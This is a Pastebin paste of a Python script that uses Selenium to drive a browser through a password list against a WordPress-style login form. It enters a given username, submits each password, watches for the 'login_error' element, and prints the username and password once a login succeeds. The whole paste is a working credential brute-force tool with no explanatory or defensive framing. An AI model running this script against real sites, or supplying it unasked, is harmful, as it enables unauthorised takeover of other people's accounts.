Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- from selenium import webdriver
- from selenium.common.exceptions import NoSuchElementException
- from argparse import ArgumentParser
- from time import sleep
- # handle CLI arguments
- parser = ArgumentParser()
- parser.add_argument("--url", required=True)
- parser.add_argument("-u", "--username", required=True)
- parser.add_argument("-p", "--passwordFile", required=True)
- args = parser.parse_args()
- # load password list
- with open(args.passwordFile, "r") as f:
- passwords = f.read().splitlines()
- # start chromedriver, navigate to login URL
- options = webdriver.ChromeOptions()
- browser = webdriver.Chrome(executable_path="/usr/bin/chromedriver", chrome_options=options)
- browser.get(args.url)
- # iterate over all passwords
- for i, password in enumerate(passwords):
- outputLeft = "trying {}/{}: {}".format(i + 1, len(passwords), password)
- print(outputLeft, end="")
- # enter username and password into their respective fields, submit
- #
- # enter username only on first login attempt because it stays
- # in the field in case of an unsuccessful login
- if i == 0:
- usernameField = browser.find_element_by_id("user_login")
- usernameField.send_keys(args.username)
- passwordField = browser.find_element_by_id("user_pass")
- # wait until password field is cleared
- # at that point, a new password can be entered
- for j in range(1000):
- if passwordField.get_attribute("value") == "":
- break
- sleep(0.01)
- if passwordField.get_attribute("value") != "":
- print("error: password field did not clear")
- exit(1)
- passwordField.send_keys(password)
- passwordField.submit()
- # evaluate if login was successful for 10 sec in 1 ms invervals
- loginFailed, loginSuccessful = False, False
- for j in range(1000):
- # login was successful if password entry field no longer exists
- try:
- passwordField = browser.find_element_by_id("user_pass")
- except NoSuchElementException as e:
- loginSuccessful = True
- break
- # login was unsuccessful if login_error element appeared on page
- try:
- passwordField = browser.find_element_by_id("login_error")
- loginFailed = True
- break
- except NoSuchElementException as e:
- pass
- sleep(0.01)
- # print whether this password was correct
- spacer = " " * (50 - len(outputLeft))
- if loginFailed and not loginSuccessful:
- print(spacer + "... failed")
- elif not loginFailed and loginSuccessful:
- print(spacer + "... SUCCESS!")
- print("username: {}, password: {}".format(args.username, password))
- exit(0)
- else:
- print("error: invalid state of webpage")
- exit(1)
Add Comment
Please, Sign In to add comment